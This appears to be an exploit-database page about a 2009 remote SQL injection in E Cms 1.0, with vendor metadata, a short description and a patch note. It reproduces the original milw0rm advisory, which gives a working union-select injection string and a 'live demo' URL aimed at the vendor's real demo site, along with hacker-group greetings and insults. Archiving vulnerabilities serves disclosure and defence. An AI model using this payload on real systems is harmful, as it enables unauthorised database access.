E Cms - exploit.company

vendor:

E Cms

by:

Red-D3v1L

CVSS

HIGH

SQL Injection

CWE

Product Name: E Cms

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:enterbt:e_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

E Cms <= 1.0 Remote SQL Injection Vulnerability

E Cms version 1.0 is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to the database and execute arbitrary SQL commands.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of the application.

Source

Exploit-DB raw data:

==============================================================================
                         ##  Hackteach.OrG ##
             
                      zZzZzZz                 zZzZzZz
                          Zz     ooooo            Zz    
                         Zz      o   o           Zz  
                        Zz       o   o          Zz 
                       Zz        o   o         Zz    
                      Zz         ooooo        Zz 
                     zZzZzZz                 zZzZzZz     
       
==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  E Cms <= 1.0 Remote SQL Injection Vulnerability
==============================================================================
    [Â»] my home:            [ Hackteach.org ]
    [Â»] Script:               [ E Cms 1.0]
    [Â»] Language:           [ PHP ]
    [Â»] Home:               [ http://cmsdemo.enterbt.hu ]
    [Â»] Founder:            [ Red-D3v1L < php-c0de@hotmail.com > ]
    [Â»] Gr44tz to:          [ All member Hackteach.org/cc And Str0ke :$ ]
    [Â»] Fuck To :           [ Anti-trust << Big Big Big Lamer << ]
#########################################################################
 
===[ Exploit SQL ]===  
    [Â»] Path/index.php?s=-10+union+select+version()--
    [Â»] L1v3 d3m0 : http://cmsdemo.enterbt.hu/html/index.php?s=-10+union+select+version()--

Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-18]